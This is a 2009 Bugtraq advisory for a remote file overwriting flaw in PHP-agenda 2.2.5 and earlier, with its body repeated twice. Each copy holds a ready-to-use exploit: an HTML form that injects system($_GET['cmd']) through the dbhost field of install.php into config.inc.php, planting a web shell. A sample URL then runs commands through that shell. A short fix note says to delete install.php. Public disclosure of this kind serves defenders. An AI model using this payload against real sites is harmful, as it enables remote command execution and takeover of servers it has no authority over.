PHP-agenda <= 2.2.5 Remote File Overwriting
- To: Bugtraq <bugtraq@xxxxxxxxxxxxxxxxx>, str0ke <str0ke@xxxxxxxxxxx>
- Subject: PHP-agenda <= 2.2.5 Remote File Overwriting
- From: "Salvatore \"drosophila\" Fresta" <drosophilaxxx@xxxxxxxxx>
- Date: Fri, 10 Apr 2009 15:20:54 +0200
- Dkim-signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type; bh=RfLVmnkUm/5ZiKtkyji8Cw2Z7+WGfwztBDc3TRiC2h8=; b=s9INLKNo27XjOW2wEEjLTEGkSq9fjAUQTU2wmmsv5uBCkV7sJ6thYi+tWQQNjmsoT1 TDsQvUZQZ1jDm+u6B9SXPud0uVliGzLe8vzq7uXSC6UUX6kWilqEFUUMrNqpECMkjBu8 w2y6im/RDMwmJqcu9gYesjn+Jpvc0wqPfHsPQ=
- Domainkey-signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; b=ROKfVORzXMByFoE4ZmGFRT3oqoekxUKRhurIeZRkMo6FX3wFDIsgFGn+hyXFc/VBp6 4uORqSZpR3svq6oO6AwjMlSNUrOGqec5Lm/DIGXPXUZroJGyeol4r5YsMyRuip5LPon6 dW9Xkovn13exi4S1Nz/CLK4ICQBEkrp7UeVJs=
- List-help: <mailto:bugtraq-help@securityfocus.com>
- List-id: <bugtraq.list-id.securityfocus.com>
- List-post: <mailto:bugtraq@securityfocus.com>
- List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
- List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
- Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm
******* Salvatore "drosophila" Fresta *******
[+] Application: PHP-agenda
[+] Version: <= 2.2.5
[+] Website: http://php-agenda.sourceforge.net
[+] Bugs: [A] Remote File Overwriting
[+] Exploitation: Remote
[+] Date: 10 Apr 2009
[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@xxxxxxxxx
*************************************************
[+] Menu
1) Bugs
2) Code
3) Fix
*************************************************
[+] Bugs
- [A] Remote File Overwriting
[-] Risk: hight
[-] File affected: install.php
This bug allows a guest to overwrite config.inc.php
inserting PHP code.
*************************************************
[+] Code
- [A] Remote File Overwriting
<html>
<head>PHP-agenda <= 2.2.5 - Remote File Overwriting</head>
<body>
<form action="http://www.site.com/path/install.php" method="post">
<input type="text" name="dbhost" size="30" value="';
system($_GET['cmd']); echo '">
<input type="submit" value="Exploit!" >
</form>
</body>
</head>
To execute commands:
http://www.site.com/path/config.inc.php?cmd=uname -a
*************************************************
[+] Fix
You must delete install.php after installation.
*************************************************
--
Salvatore "drosophila" Fresta
CWNP444351
******* Salvatore "drosophila" Fresta *******
[+] Application: PHP-agenda
[+] Version: <= 2.2.5
[+] Website: http://php-agenda.sourceforge.net
[+] Bugs: [A] Remote File Overwriting
[+] Exploitation: Remote
[+] Date: 10 Apr 2009
[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@xxxxxxxxx
*************************************************
[+] Menu
1) Bugs
2) Code
3) Fix
*************************************************
[+] Bugs
- [A] Remote File Overwriting
[-] Risk: hight
[-] File affected: install.php
This bug allows a guest to overwrite config.inc.php
inserting PHP code.
*************************************************
[+] Code
- [A] Remote File Overwriting
<html>
<head>PHP-agenda <= 2.2.5 - Remote File Overwriting</head>
<body>
<form action="http://www.site.com/path/install.php" method="post">
<input type="text" name="dbhost" size="30" value="';
system($_GET['cmd']); echo '">
<input type="submit" value="Exploit!" >
</form>
</body>
</head>
To execute commands:
http://www.site.com/path/config.inc.php?cmd=uname -a
*************************************************
[+] Fix
You must delete install.php after installation.
*************************************************